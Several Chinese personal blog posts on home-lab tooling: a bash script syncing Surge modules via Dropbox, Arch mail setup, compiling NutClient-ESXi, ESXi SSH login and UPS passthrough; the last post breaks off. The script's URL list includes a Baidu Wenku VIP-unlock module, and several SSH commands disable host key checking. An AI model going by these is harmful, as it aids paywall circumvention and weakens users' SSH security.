前言 由于surge 开发者无视一些体验需求,只搞技术,没办法,只能曲线解决了. 起因(建议不看,有不好情绪😠): 在迁移apple账号的时候,特么的surge的授权(绑了授权邮箱)掉了,你说掉就掉吧,他妈的把老子安装的在线模块给删了,只给老子留个本地模块,我草尼玛,搞了那么多在线模块,老子怎么记得住,为了防盗版就这么恶心?本来都打算将就用,结果直接给爷👴在线模块弄没了,他妈的,然后就有本文用本地模块更新.由于不知道啥时候通过iCloud同步配置的文件夹不会同步在Mac上的icloud上,导致没法通过mac修改ios上的配置文件,这就很难受了,因为我的配置文件都是经过脚本自动化处理过了,只好用dropbox来进行同步,然后用Mountain Duck软件映射到本地路径(没办法,官方的dropbox在我macOS 14上闪退,极其难受)来控制配置文件.最难受的是正式版surge没法用dropbox,应该是bug,测试版能用,而我换id了,原来那个id中我没点停止测试,导致我新id一直测试不上,然后又碰上老刘的tf系统维护,等了一天多,最后终于搞定.(神特么等90天,等90天真傻逼,原id手动点停止测试,然后重新申请再换id接受申请就可以了.) 需求: 相同iCloud,ios不同设备间模块同步 前提: Mac设备,有dropbox账号,本地已映射dropbox路径 实现: 不借助iCloud,实现ios不同设备间本地模块定时更新自动同步. 实现 > 需求. ✅成功! 得到模块链接 要实现模块同步,首先你得有模块.本地模块没得说,隔空投送到mac就行了,而这里主要说一下远程模块链接提取.方法是没有方法🤡,像个傻逼一样一个一个手动提取,提取出来保存到一个文件中,待会用.我反正再也不用这个在线安装模块功能了,简直傻逼功能. Dropbox同步 ① 首先,将你原本iOS surge的Rule,Profiles,sgmodule等文件夹备份,随便备份到哪里.如果你不需要备份就跳过. ② iOS端surge的配置同步切换到Dropbox,会提示是否合并,直接合并. ③ 修改文件夹分类,可以参考我下面.自定义Rule规则文件和conf配置文件直接放Profiles文件夹中,模块放到sgmodule文件夹中,其中有custom子文件夹用于自定义的模块可以被检测到. 吐槽:surge的文件管理跟狗屎一样,Rule单独列一个文件夹检测不到,非要放到Profiles文件夹才能检测到,还不能放到子文件夹里面,只能直接和conf配置文件放一起,这种逻辑简直跟狗屎一样. 解决方案 新版解决方案: 新版和旧版主要区别在对qx等其他模块的处理上. 由于懒,故略写,可自行看项目: Script-Hub 至于我为什么换新的解决办法,主要是会对raw.githubusercontent.com等github域名进行MitM解密,而某些应用为了安全,锁定了证书链,导致tls连接中断.还有一点旧版qx转换模块作者不维护了,故打算换成新项目. 可看作者的安装模块的wiki.这里不再赘述. 安装好后,即可用网址: https://script.hub/ 进行转换. 下面给出新版bash脚本代码,仅供参考. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 #!/bin/bash # 错误处理函数 handle_error() { echo "" echo '⚠️ 脚本发生错误!,请手动检查错误,2分钟后退出...' [[ "$(uname)" == "Darwin" ]] && osascript -e 'display notification "模块同步脚本" with title "❌ 脚本发生错误!" sound name "Glass"' sleep 120 exit 1 } # 定义信号处理函数,用于响应 Ctrl+C function handle_ctrl_c { echo "" echo "接收到 Ctrl+C,开始退出..." exit 1 } # 设置信号处理程序,捕捉 SIGINT 信号(Ctrl+C) trap handle_ctrl_c SIGINT # 设置错误处理函数 trap handle_error ERR # 检查系统是否存在wget命令 if ! command -v wget &> /dev/null; then # 检查Homebrew安装的wget是否存在 if [ -f "/opt/homebrew/bin/wget" ]; then alias wget="/opt/homebrew/bin/wget" else echo "❌ 未安装wget! " && exit 1 fi fi # 网络连通检测 function NetCheck { local count="${1:-1}" # 默认检测次数为1次 local timeout="${2:-1}" # 默认超时时间为1秒 local host="${3:-"223.5.5.5"}" # 默认检测host为阿里DNS if [ -z "$host" ]; then host="223.5.5.5" fi # 使用ping测试连接,指定超时时间并将结果重定向到/dev/null if ping -c "${count}" -W "${timeout}" "${host}" >/dev/null 2>&1; then # echo "网络连通: $host 可达" return 0 else # echo "网络不可达: $host" return 1 fi } if ! NetCheck "$@"; then echo "❌ 网络连通异常" exit 1 else echo "✅ 网络连通正常" fi user=$(whoami) Dest_1="/Users/${user}/Library/Application Support/Surge/Profiles/sgmodule" Dest_2="/Users/${user}/Library/Group Containers/xxxxx/Library/Application Support/duck/Volumes.noindex/Dropbox/应用/Surge Profiles/sgmodule" # 要下载的URL列表 urls=( "http://script.hub/file/_start_/https://raw.githubusercontent.com/89996462/Quantumult-X/main/ycdz/bdwk.js/_end_/bdwk.sgmodule?n=百度文库+解锁VIP文档阅读权限&type=qx-rewrite&target=surge-module" "https://raw.githubusercontent.com/Rabbit-Spec/Surge/Master/Module/Spec/Bilibili-Login/Moore/Bilibili-Login.sgmodule" ) function download_background { url="$1" filename=$(basename "${url}") if [[ "$url" == *'?'* ]]; then filename=$(basename "${url%%\?*}") # 去掉参数对名称的影响. # echo "⚠️ 链接中存在参数,开始去除" # url="${url%%\?*}" # url=$(echo "$url" | sed 's/\?.*//') fi remote_file_size=$(wget --header="User-Agent: Surge" --spider "${url}" 2>&1 | grep -oE '长度:[0-9]+' | awk -F ':' '{print $2}') # 根据实际情况修改grep过滤,例如: 'Length' if [ -s "${filename}" ]; then local_file_size=$(wc -c < "${filename}") if [ -n "$remote_file_size" ] && [ -n "$local_file_size" ] && [ "$remote_file_size" -eq "$local_file_size" ]; then echo "⚙️ ${filename} 文件大小相同" return 0 fi fi wget -q --background "$url" -O "${filename}" --header="User-Agent: Surge" } success=true error_message="" echo "⚙️ 开始后台下载." # 批量下载并确保成功 for url in "${urls[@]}"; do cd "${Dest_1}" || exit 1 find . -name ".DS_Store" -type f -delete & download_background "$url" done # 等待所有下载完成 while pgrep -x wget > /dev/null; do sleep 1 done files=$(ls) # 遍历每个文件和目录 for file in $files; do # 使用if语句判断文件是否存在且大小不为零 if [ ! -s "$file" ]; then success=false error_message+="\n⚠️ ${file} 文件下载失败!" fi done if $success; then echo "✅所有文件下载成功" find . -name ".DS_Store" -type f -delete rsync --size-only -r --delete --progress "${Dest_1}/" "${Dest_2}" echo "✅文件夹同步完成" read -r -t 5 -n 1 || true else echo "$(date)${error_message}" > file_error.log echo '❌ 存在文件下载失败,请检查file_error.log!' echo '❌ 已停止文件夹同步!' read -r -t 10 -n 1 || true fi 貌似旧版中的bash代码有些小bug,懒的改了,在新版已修复. 旧版解决方案: 自动更新代码 下面用bash脚本写的.主要在Mac上的bash跑,如果要linux跑,那么请注意,有些命令语法和linux不一样,请自行修改(我懒的改了) 这里主要给小白解释一下. Dest_1 是Mac本地surge的模块路径地址 Dest_2 是本地映射的dropbox路径地址 urls 是个数组用来保存你上面弄的模块链接,按照我这种格式添加url就行了. 基本上要改的就这3个地方: Dest_1 Dest_2 urls 如果下载有问题那么 Dest_1 路径下有file_error.log日志文件,可以看看是哪个文件出错了,对应修复即可. 如果Mac端surge模块中安装并启用了QX重写&规则集转化这个模块,那么下面脚本也能处理qx结尾的文件. 浅浅说一下这个脚本功能吧. 批量下载urls数组中的链接到Dest_1路径下,期间遇到链接有?参数的,直接删除参数,遇到非sgmodule结尾自动处理成sgmodule,有文件下载失败会记录日志文件.如果下载都没问题就会同步到Dest_2路径下. 已知特性: 由于通过qx转换的模块文件中的name内容经过替换,故无法通过文件大小来判断是否为最新版,也就是说每次运行这个脚本,qx转换的模块文件必定会进行下载替换. ⚠️注意: 请确保你系统中已安装wget,命令查询where wget,如果没有,请用brew进行安装.安装好后.将下面wget替换为你wget的实际路径(例如:/opt/homebrew/bin/wget). 不用,我写了判断了. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 #!/bin/bash # 错误处理函数 handle_error() { echo "" echo '⚠️ 脚本发生错误!,请手动检查错误,2分钟后退出...' [[ "$(uname)" == "Darwin" ]] && osascript -e 'display notification "模块同步脚本" with title "⚠️脚本发生错误❌~" sound name "Glass"' sleep 120 exit 1 } # 设置错误处理函数 trap handle_error ERR # 检查系统是否存在wget命令 if ! command -v wget &> /dev/null; then # 检查Homebrew安装的wget是否存在 if [ -f "/opt/homebrew/bin/wget" ]; then wget="/opt/homebrew/bin/wget" else echo "❌ 未安装wget" && exit 1 fi fi user=$(whoami) Dest_1="/Users/${user}/Library/Application Support/Surge/Profiles/sgmodule" Dest_2="/Users/${user}/Library/Group Containers/xxxxx/Library/Application Support/duck/Volumes.noindex/Dropbox/应用/Surge Profiles/sgmodule" # 要下载的URL列表 urls=( "https://raw.githubusercontent.com/89996462/Quantumult-X/main/ycdz/bdwk.jsqx" "https://raw.githubusercontent.com/Rabbit-Spec/Surge/Master/Module/Spec/Bilibili-Login/Moore/Bilibili-Login.sgmodule" ) # 下载并处理文件名函数函数,将wget放入后台运行并等待下载完成 function download_background { url="$1" filename=$(basename "${url}") if [[ "$url" == *'?'* ]]; then echo "⚠️ 链接中存在参数,开始去除" url="${url%%\?*}" # url=$(echo "$url" | sed 's/\?.*//') fi remote_file_size=$(wget --header="User-Agent: Surge" --spider "${url}" 2>&1 | grep -oE '长度:[0-9]+' | awk -F ':' '{print $2}') # 'Length' if [ -s "${filename}.sgmodule" ]; then local_file_size=$(wc -c < "${filename}.sgmodule") if [ -n "$remote_file_size" ] && [ -n "$local_file_size" ] && [ "$remote_file_size" -eq "$local_file_size" ]; then echo "⚙️ ${filename}.sgmodule 文件大小相同" return 0 fi fi if [ -s "${filename}" ]; then local_file_size=$(wc -c < "${filename}") if [ -n "$remote_file_size" ] && [ -n "$local_file_size" ] && [ "$remote_file_size" -eq "$local_file_size" ]; then echo "⚙️ ${filename} 文件大小相同" return 0 fi fi if [[ "$url" == *".jsqx" ]]; then # filename=$(curl -s "${url/qx/}" | grep -o ':.*' | sed 's/://' | head -n 1) wget -q "$url" -O "${filename}.sgmodule" --header="User-Agent: Surge" function_name=$(curl -s "${url/qx/}" | grep -o ':.*' | sed 's/://' | head -n 1) # 读取文件并替换内容 sed -i '' -E 's/^#\!name=.*$/'"#\!name=${function_name}"'/' "${filename}.sgmodule" # 如果不是macOS,就不用加上'',这是macos中sed命令的特性 elif [[ "$url" != *".sgmodule" ]]; then wget -q --background "$url" -O "${filename}.sgmodule" --header="User-Agent: Surge" else wget -q --background "$url" -O "${filename}" --header="User-Agent: Surge" fi } success=true error_message="" echo "⚙️ 开始后台下载." # 批量下载并确保成功 for url in "${urls[@]}"; do cd "${Dest_1}" || exit 1 download_background "$url" done # 等待所有下载完成 while pgrep -x wget > /dev/null; do sleep 1 done files=$(ls) # 遍历每个文件和目录 for file in $files; do # 使用if语句判断文件是否存在且大小不为零 if [ ! -s "$file" ]; then success=false error_message+="\n⚠️ ${file} 文件下载失败!" fi done if $success; then echo "✅所有文件下载成功" rsync --size-only -r --delete --progress "$Dest_1/" "$Dest_2" echo "✅文件夹同步完成" else echo "$(date)${error_message}" > file_error.log echo '❌ 有文件下载失败,请检查file_error.log!' echo '❌ 已停止文件夹同步!' fi 如何使用代码 将上面代码保存到文件,文件名(你可以自己取)为 一键更新模块.sh cd到这个文件的目录下,然后赋权 chmod 777 ./一键更新模块.sh 然后bash ./一键更新模块.sh测试一下效果,没问题就可以接下添加定时启动了 输入命令crontab -e添加内容 1 2 10 1 * * */7 /opt/homebrew/bin/bash ~/Library/Application\ Support/Surge/Profiles/一键更新模块.sh # 如果没有/opt/homebrew/bin/bash,可换成bash 意思是 每7天 1点10分 会运行这个脚本 关于crontab时间计算,可以访问 https://tool.lu/crontab/ 来在线计算.

2023/8/4
articleCard.readMore

为Arch Linux配置邮件服务

前言 本文依托 自编译 NutClient-ESXI, 更改邮件逻辑 和 为 J4125 软路由 ESXI 中群晖提供 UPS 服务 文章内容而写. 安装 1 pacman -S s-nail 配置 SMTP 发信 1 vim /etc/mail.rc 在文件最后添加内容 1 2 3 4 5 6 set v15-compat set from="xx@xxx" # 发信邮箱 set smtp-auth=login set mta=smtps://用户名:密码@smtp服务器 set ttycharset=utf-8 set charset-8bit=utf-8 例如以QQ邮箱为例: set mta=smtps://QQ%40qq.com:授权码@smtp.qq.com:465 IMAP 收信 注: 可不用配置,因为作为命令行Linux,一般是不需要收信服务的 1 2 3 set imap-keepalive=240 set imap-cache=~/.imap_cache set inbox="imaps://用户名:密码@imap服务器"

2023/7/25
articleCard.readMore

自编译NutClient-ESXI,更改邮件逻辑

前言 这个 NutClient-ESXi 项目中邮件发送相关功能对我而言不可用,故打算自己对项目进行修改,然后编译. 目前修改后的效果: 若有UPS事件,能够正常地向指定邮箱发送通知及事件内容. 注: 本文是为本博客中 为 J4125 软路由 ESXI 中群晖提供 UPS 服务 的文章服务的.故不会详细解释NutClient-ESXI相关内容. 本文中邮件发送操作是通过SSH到服务器来进行代理操作的,请确保ESXI中存在linux虚拟机或你有台linux服务器. 若你遇到ESXI SSH某些问题,请参阅本博客中关于 解决 ESXI 和群晖使用 SSH 密钥登录问题 的文章. 若你服务器未配置相关邮件相关服务,请参阅本博客中关于 为 Arch Linux 配置邮件服务 的文章. 本文编译设备: Linux LanYunArch 6.4.4-arch1-1 x86_64 GNU/Linux 因为glibc编译失败,所以拉取的是docker centos7 文本内容可能花费时间较长(取决于你设备性能,单线程编译取决于单核性能),建议可以泡杯咖啡☕️来等待. 本文会编译旧版GCC和MAKE用于编译glibc-2.17,因为ESXI最高只支持glibc-2.17(比较老,故作者推荐centos7进行编译) 如何查看GLIBC支持的版本? linux:strings /lib64/libc.so.6 | grep GLIBC_ 由于ESXI不支持strins命令,故你需要SFTP拉到本地来看看👀. ⚠️若你ESXI运行在架构为x86_64的CPU上,请勿用ARM架构进行编译, 极速模式(推荐) 人群能力建议: 有手有🧠,会Google等基本素质 难度: 无 前提: 已阅读前言中提到的所有文章 此模式用到: docker 用到本人fork的项目: NutClient-ESXi 1 2 3 4 5 6 7 8 9 10 # 运行docker命令之前,请确保docker或OrbStack在运行 # -v 后面是我本机的映射路径 docker run -i -t --privileged -v /Users/lanyun/Downloads:/share --platform linux/amd64 centos:7 bash # 此docker命令仅供参考,反正x86架构centos 7就行. su # 切换到root用户 cd ~ # 进入到root目录,啥目录请随意,这里我实际上进入到/share,因为方便我导出文件 yum install -y git git clone https://github.com/LanYunDev/NutClient-ESXi.git cd NutClient-ESXi bash ./一键编译.sh # 编译完后,用cp命令将需要的文件复制出来,参考上面映射的路径 注: 你甚至只需要运行一个一键编译.sh文件,即可完成编译. 低速模式 人群能力建议: 会复制粘贴 难度: 低 安装软件包 请根据不同的系统的软件包管理器来安装必须的软件包. 1 2 3 apt install wget patch gcc zip make tar file git # ubuntu,Debian等 yum install -y wget patch gcc zip make tar file git # CentOS pacman -S wget patch gcc zip make tar file git # arch Linux 修改项目内容 请确定你要远程SSH进行执行的代码. 例如ssh -T root@IP地址 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 "mail -s 'UPS 事件 on ${HOSTNAME}' xx@lanyundev.com" 1 2 3 4 5 6 7 8 9 10 11 git clone https://github.com/rgc2000/NutClient-ESXi.git # 拉取项目 cd NutClient-ESXi sed -i -e "s/payload: nut-bin smtptools-bin/payload: nut-bin/g;s/shell uname -i/shell uname -m/g; /smtp/s/^[^#]/#&/" "Makefile" sed -i -e "s#tar -xf nut-\$(NUT_VERSION).tar.gz#&\ ; sed -i -e \"s/on line power/已连接电源/g;s/UPS %s on battery/UPS %s 正使用电池供电/g;s/UPS %s battery is low/UPS %s 电池电量低/g;s/UPS %s: forced shutdown in progress/UPS %s: 正在进行强制关机/g;s/Communications with UPS %s established/已建立与 UPS %s 的通信/g;s/Communications with UPS %s lost/与 UPS %s 的通信丢失/g;s/Auto logout and shutdown proceeding/自动注销并进行关机/g;s/UPS %s battery needs to be replaced/UPS %s 需要更换电池/g;s/UPS %s is unavailable/UPS %s 不可用/g;s/upsmon parent process died - shutdown impossible/upsmon 父进程已停止 - 无法进行关机/g;s/UPS %s: calibration in progress/UPS %s:正在进行校准/g\" \"./nut-\$(NUT_VERSION)/clients/upsmon.h\"#" 'Makefile' rm -rf ./patches/smtptools* # ⚠️注意:请替换下面代码中的执行代码部分,请根据自己需要进行修改 # 如果觉得命令行麻烦,可以手动到路径中修改文件: ./skeleton/opt/nut/bin/notify.sh # 也可通过vim进行修改 vim ./skeleton/opt/nut/bin/notify.sh # 也可以看我fork项目中给出示例notify.sh文件,进行参考修改. [[ "$(uname)" == "Darwin" ]] && sed -i '' -e 's#/opt/nut/bin/smtpblast -f "${FROM}" -t "${TO}"#ssh -T root@IP地址 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 "mail -s '\''UPS 事件 on ${HOSTNAME}'\'' xx@lanyundev.com"#' "./skeleton/opt/nut/bin/notify.sh" || sed -i -e 's#/opt/nut/bin/smtpblast -f "${FROM}" -t "${TO}"#ssh -T root@IP地址 -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 "mail -s '\''UPS 事件 on ${HOSTNAME}'\'' xx@lanyundev.com"#' "./skeleton/opt/nut/bin/notify.sh" 配置编译环境 Docker(推荐) 推荐用docker,因为我用最新arch Linux整编译环境,搞了几天都没整起(大部分在摸鱼,等编译结果,报错再改,改了报错又改,进入了无底洞的时间循环♻️). 废话不多说,直接上命令. 1 2 3 # 运行docker命令之前,请确保docker或OrbStack在运行 # -v 后面是我本机的路径映射到 docker run -i -t --privileged -v /Users/lanyun/Downloads:/share --platform linux/amd64 centos:7 bash 最新Linux(不推荐) 这里不写,看复杂模式. 开始编译 1 make # 注意,经过实测,并不支持多线程编译 编译完成后,目录下的 upsmon-xxx.vib upsmon-update.sh upsmon-remove.sh upsmon-install.sh 就是我们所需要的文件了! 复杂模式(不推荐) 人群能力建议: 极客 难度: 中 编译GCC-9 由于arch Linux(默认make版本为4.4.1 gcc版本为13.1.1)的yay里面有GCC-9,故我直接用yay编译,方便. 1 2 3 4 5 6 7 8 9 10 11 12 pacman -S base-devel su - lanyun # 注:lanyun是我普通用户的用户名,makepkg安装需非root用户 cd ~ git clone https://aur.archlinux.org/yay.git cd yay makepkg -si echo $(nproc) # 看看多少核心 vim /etc/makepkg.conf # 进去搜MAKEFLAGS,改MAKEFLAGS="-j10" 这里10是因为上条命令得到的是10核心 yay -Ss gcc # 搜索 gcc,看看有没有需要版本 yay -S gcc9 # 编译完后按y确认安装,之后可用gcc-9来调用.不需要可用yay -Rs gcc9来删除 sudo su # 切换回root用户 编译MAKE-3.82 只能源码编译,别问,问就是特性. 如果编译出错,别问,问就是特性. 1 2 3 4 5 6 7 8 9 10 11 12 13 # 用gcc-9编译 export CC=/usr/bin/gcc-9 wget ftp://ftp.gnu.org/gnu/make/make-3.82.tar.gz # 如果下载失败,可用下面我提供的链接. tar xvf make-3.82.tar.gz && rm make-3.82.tar.gz cd make-3.82 sed -i 's/#if !defined __alloca \&\& !defined __GNU_LIBRARY__/#if !defined __alloca \&\& defined __GNU_LIBRARY__/g; s/#ifndef __GNU_LIBRARY__/#ifdef __GNU_LIBRARY__/g' "./glob/glob.c" ./configure --prefix=/opt/make-3.82 && sh build.sh make -j$(nproc) && make install cd ~ ln /opt/make-3.82/bin/make /usr/bin/make-3.82 rm -rf make-3.82 # 之后可以直接用 make-3.82 # 如果要卸载,运行命令rm -rf /root/make_3.82 && rm -f /usr/bin/make-3.82 指定编译的GLIBC 如果编译出错,别问,问就是特性. 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 # 指定特定版本的 gcc export CC=/usr/bin/gcc-9 # 指定特定版本的 make #export MAKE_HOME=/root/make_3.82 export PATH=/opt/make-3.82/bin:$PATH export MAKE=/opt/make-3.82/bin/make #/usr/bin/make-3.82 cd ~ # 确保路径在/root下,否则请修改后面的命令. wget https://ftp.gnu.org/gnu/glibc/glibc-2.17.tar.xz tar -xJf glibc-2.17.tar.xz && rm -f glibc-2.17.tar.xz mkdir -p build/glibc-build cd build/glibc-build /root/glibc-2.17/configure CFLAGS="-fno-builtin-strlen -ggdb -O2" FEATURES="preserve-libs nostrip splitdebug" --prefix=/root/build/glibc-build make # 多线程实测有问题. #make -j$(nproc) # make install 本文中有关文件链接: make-3.82.tar.gz glibc-2.17.tar.xz 废弃代码(不再使用),垃圾代码,慎用(=别用): 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sed -i -e "s/payload: nut-bin smtptools-bin/payload: nut-bin/g;s/shell uname -i/shell uname -m/g; /smtp/s/^[^#]/#&/; s/LDFLAGS=\"-lrt -lpthread\"/LDFLAGS=\"-lrt -lpthread -static-libstdc++\"/" "Makefile" [[ "$(uname)" == "Darwin" ]] && sed -i '' -e "s/uname -i/uname -m/g" "./script/mkvib.sh" || sed -i -e "s/uname -i/uname -m/g" "./script/mkvib.sh" echo "添加-static-libstdc++选项" [[ "$(uname)" == "Darwin" ]] && sed -i '' -e 's#/opt/nut/bin/smtpblast -f "${FROM}" -t "${TO}"#替换我#' "./skeleton/opt/nut/bin/notify.sh" || sed -i -e 's#/opt/nut/bin/smtpblast -f "${FROM}" -t "${TO}"#替换我#' "./skeleton/opt/nut/bin/notify.sh" [[ "$(uname)" == "Darwin" ]] && sed -i '' -e "s/on line power/已连接电源/g;" "./$nut_version/clients/upsmon.h" || [[ "$(uname)" == "Darwin" ]] && sed -i '' -e "s/payload: nut-bin smtptools-bin/payload: nut-bin/g;s/shell uname -i/shell uname -m/g; /smtp/s/^[^#]/#&/" "Makefile" || nut_version=$(basename patches/nut-* | sed 's/-esxi.*$//') sed -i -e "$(grep -n "tar -xf nut-\$(NUT_VERSION).tar.gz" "Makefile" | cut -d ':' -f 1)a\\ sed -i -e \"s/on line power/已连接电源/g;s/UPS %s on battery/UPS %s 正使用电池供电/g;s/UPS %s battery is low/UPS %s 电池电量低/g;s/UPS %s: forced shutdown in progress/UPS %s: 正在进行强制关机/g;s/Communications with UPS %s established/已建立与 UPS %s 的通信/g;s/Communications with UPS %s lost/与 UPS %s 的通信丢失/g;s/Auto logout and shutdown proceeding/自动注销并进行关机/g;s/UPS %s battery needs to be replaced/UPS %s 需要更换电池/g;s/UPS %s is unavailable/UPS %s 不可用/g;s/upsmon parent process died - shutdown impossible/upsmon 父进程已停止 - 无法进行关机/g;s/UPS %s: calibration in progress/UPS %s:正在进行校准/g\" \"./\$(NUT_VERSION)/clients/upsmon.h\"" 'Makefile' #sed -i 's/# if _GNU_GLOB_INTERFACE_VERSION == GLOB_INTERFACE_VERSION/# if _GNU_GLOB_INTERFACE_VERSION >= GLOB_INTERFACE_VERSION/' ./glob/glob.c #sed -i '211s/^/\/\/ /; 232s/^/\/\/ /' ./glob/glob.c #sed -i 's/struct rlimit stack_limit;/extern struct rlimit stack_limit;/' ./make.h #echo "#include \"make.h\"\n\nstruct rlimit stack_limit;" > make.c #./configure --host=x86_64-pc-linux-gnu --build=x86_64-pc-linux-gnu --target=x86_64-pc-linux-gnu --prefix=/root/make_3.82 && sh build.sh export CFLAGS="-g -O2 -march=i486" echo "跳过MAKE检测" && [[ "$(uname)" == "Darwin" ]] && sed -i '' -e 's/critic_missing="\$critic_missing make"/ac_prog_version="\$ac_prog_version, ok"; ac_verc_fail=no;/g' "./glibc-2.17/configure" || sed -i -e 's/critic_missing="\$critic_missing make"/ac_prog_version="\$ac_prog_version, ok"; ac_verc_fail=no;/g' "./glibc-2.17/configure" echo "跳过GCC检测" && [[ "$(uname)" == "Darwin" ]] && sed -i '' -e 's/critic_missing="\$critic_missing gcc"/ac_prog_version="\$ac_prog_version, ok"; ac_verc_fail=no;/g' "./glibc-2.17/configure" || sed -i -e 's/critic_missing="\$critic_missing gcc"/ac_prog_version="\$ac_prog_version, ok"; ac_verc_fail=no;/g' "./glibc-2.17/configure" CFLAGS="-g -O2 -fno-builtin-strlen" FEATURES="preserve-libs nostrip splitdebug" --host=x86_64-pc-linux-gnu --build=x86_64-pc-linux-gnu --target=x86_64-pc-linux-gnu make CFLAGS="-m64" LDFLAGS="-m64"

2023/7/25
articleCard.readMore

解决ESXI和群晖使用SSH密钥登录问题

前言 本文依托 为 J4125 软路由 ESXI 中群晖提供 UPS 服务 文章内容而写. 由于ESXI是一个精简的嵌入式系统,不存在某些命令,这导致我某些定时自动化操作脚本不能正常工作,故打算通过SSH进行代理运行,这样保证了ESXI环境的纯净.但在实际操作中遇到了SSH登录相关问题.下面是解决SSH登录问题一些必要的操作. 关于群晖?纯纯顺带说一下罢了,因为这玩意限制小,不用细说.直接看生成密钥对这一部分即可. 已知问题(未能解决或懒得解决): ①ESXI SSH出站端口只能为22 (貌似可以通过改文件解决.但算了,将就用了,我在OpenWrt中防火墙做好了防护,反正外网打不进来,内网又不可能打.) ②无法更新known_hosts相关.报错内容如下. (加入选项 -o StrictHostKeyChecking=no -o Us erKnownHostsFile=/dev/null可以只提示一个Warning,说known_hosts被永久添加,不会更新.) 1 2 hostfile_replace_entries: link /.ssh/known_hosts to /.ssh/known_hosts.old: Function not implemented update_known_hosts: hostfile_replace_entries failed for /.ssh/known_hosts: Function not implemented 防火墙配置 在 网络 -> 防火墙规则 中,找到SSH客户端,然后把它启用. 启动服务 在 主机 -> 管理 -> 服务中,启动TSM-SSH服务并设置自启动. 用ESXI已有密钥对 获取公钥:cat /etc/ssh/ssh_host_rsa_key.pub 然后附加到你服务器的~/.ssh/authorized_keys文件中 登陆服务器带上参数-i /etc/ssh/ssh_host_rsa_key就行了 例如: ssh root@服务器IP -i /etc/ssh/ssh_host_rsa_key -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -p 22 弃用:生成密钥对 存在致命BUG: 重启后,目录/.ssh/直接给爷整无了.😅 文件路径: /usr/lib/vmware/openssh/bin/ssh-keygen 终端输入命令: /usr/lib/vmware/openssh/bin/ssh-keygen -t rsa -b 4096 然后一路回车即可. 然后命令: cat /.ssh/id_rsa.pub 将内容复制,然后附加到需要登录的服务器的~/.ssh/authorized_keys文件中.

2023/7/25
articleCard.readMore

为J4125软路由ESXI中群晖提供UPS服务

前言 由于家里时不时停电,导致群晖里面机械硬盘出现莫名其妙的问题,回家之后整了一个UPS(施耐德APC BK650M2-CH 390W),到货后就开始着手配置,最终实现:UPS电量不足时,ESXI中所有虚拟机安全关机,最后关闭ESXI,即软路由关机. 本文设备: J4125 软路由 4 CPUs x Intel(R) Celeron(R) J4125 CPU @ 2.00GHz ESXI系统版本: 7.0 Update 3 群晖版本: DSM 7.1-42661 Update 4 USB信息: Celeron/Pentium Silver Processor USB 3.0 xHCI Controller 供应商名称: Intel Corporation ID: 0000:00:15.0 设备 ID: 0x31a8 供应商 ID: 0x8086 功能: 0x0 总线: 0x0 类 ID: 0xc03 子设备 ID: 0x7270 子供应商 ID: 0x8086 插槽: 0x15 上面照片是我强制直通之后的,因为我这个版本ESXI不兼容这个USB控制器(没驱动). 若你的信息与本文不符,可参考本文内容. 直通USB控制器 注: 若你的ESXI设备能正常识别USB控制器,即插上UPS数据线,你的ESXI能识别出UPS设备(可在添加USB设备界面查看) 获取USB控制器相关信息. 上图可知.供应商ID、设备ID以及类ID分别为 0x8086 0x31a8 0xc03 开启ESXI的SSH功能 开启Secure Shell (SSH) 添加直通代码 1 2 ssh root@xxx # xxx为你ESXI主机的ip地址 vi /etc/vmware/passthru.map 按G,即”shift+g”,跳到文本的最后一个字符,然后按i进入编辑模式,按回车键来换行,然后输入下面内容 1 2 # Celeron/Pentium Silver Processor USB 3.0 xHCI Controller 8086 31a8 d3d0 default 其中8086是供应商ID 31a8是设备ID d3d0和default固定值 然后保存退出(esc :wq),并重启启动ESXI(reboot) 配置USB控制器 去管理,硬件,PCI设备中将usb控制器切换为直通. 然后在群晖虚拟机中添加PCI设备. 注意: cpu这3项需要关闭 内存需设置为 全部锁定 配置好后,重启ESXI,然后启动群晖.就能在群晖中配置UPS了! 在常规里面 配置NutClient-ESXi NutClient-ESXi 可以获取群晖所连接UPS的信息. 首先,将 ESXi 的 IP 添加到允许的 DiskStation 设备中(可参考上图). 接下来开始配置NutClient-ESXi. 下载代码并安装 下面代码运行环境为ESXI中的SHELL 1 2 esxcli software acceptance set --level=CommunitySupported cd /tmp 下面分3种情况 ①ESXI不能科学上网 访问此人博客https://rene.margar.fr/2012/05/client-nut-pour-esxi-5-0/ 下载NutClient-ESXi (binaires)并解压 将解压后的文件通过SFTP传输到ESXI主机/tmp目录下 然后运行命令sh upsmon-install.sh && /etc/init.d/hostd restart 注: 若你安装过,且安装版本低于即将安装的,~~~~请用命令sh upsmon-update.sh,否则先卸载sh upsmon-remove.sh再安装. ②ESXI能够科学上网 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 wget 'https://rene.margar.fr/download/1483/?tmstv=1690200590' \ --header='Accept: */*' \ --header='Accept-Language: zh-CN,zh;q=0.9' \ --header='Cache-Control: no-store, no-cache, no-transform, max-age=0' \ --header='Connection: keep-alive' \ --header='DNT: 1' \ --header='Host: rene.margar.fr' \ --header='Pragma: no-cache' \ --header='Referer: https://rene.margar.fr/2012/05/client-nut-pour-esxi-5-0/' \ --header='Sec-Fetch-Dest: empty' \ --header='Sec-Fetch-Mode: cors' \ --header='Sec-Fetch-Site: same-origin' \ 